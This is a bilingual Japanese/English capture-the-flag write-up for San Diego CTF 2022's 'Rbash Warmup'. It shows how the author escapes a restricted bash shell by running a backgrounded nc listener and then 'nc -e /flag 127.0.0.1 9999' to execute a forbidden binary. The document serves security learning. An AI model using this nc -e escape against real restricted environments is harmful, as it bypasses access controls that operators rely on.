Rbash Warmup

TCPサーバの接続情報が与えられ、/flag を実行することを要求された。

Tera Term でサーバに接続し、以下のようにコマンドを試してみた。

Information to connnect to a TCP server was given, and we were asked to execute /flag.

I connected to the server using Tera Term and tried following commands.

== proof-of-work: disabled == rbash-5.0$ ls rbash: ls: command not found rbash-5.0$ /flag rbash: /flag: restricted: cannot specify `/' in command names rbash-5.0$ cd ../.. rbash: cd: restricted rbash-5.0$ echo `< /flag` rbash: /flag: Permission denied rbash-5.0$ echo $PATH /home/user/whitelist rbash-5.0$ pwd /home/user rbash-5.0$ echo whitelist/* whitelist/nc

その結果、nc コマンドが使えそうであることがわかった。
nc のヘルプを出力してみると、その冒頭部分は以下のようになった。

As a result, I found that nc command is available.
I tried printing the help of nc. The first part of that is:

rbash-5.0$ nc -h [v1.10-41.1ubuntu1] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!]

ここから、nc はサーバの機能もクライアントの機能もあること、そして -e オプションを用いてプログラムを実行できそうであることがわかった。

以下のようにCtrl+Zを用いてサーバをバックグラウンドで実行し、続いて -e オプションをつけたクライアントで接続することで、flagが得られた。

From this part, I found that nc can work both as a server and as a client, and that it can execute a program using -e option.

I obtained the flag by executing the server in the background using Ctrl+Z, and then connecting to the server with -e option like this:

rbash-5.0$ nc -l -p 9999 ^Z [1]+ Stopped nc -l -p 9999 rbash-5.0$ bg [1]+ nc -l -p 9999 & rbash-5.0$ nc -e /flag 127.0.0.1 9999 rbash-5.0$ sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}
sdctf{nc--e-IS-r3aLLy-D4NG3R0U5!}

San Diego CTF 2022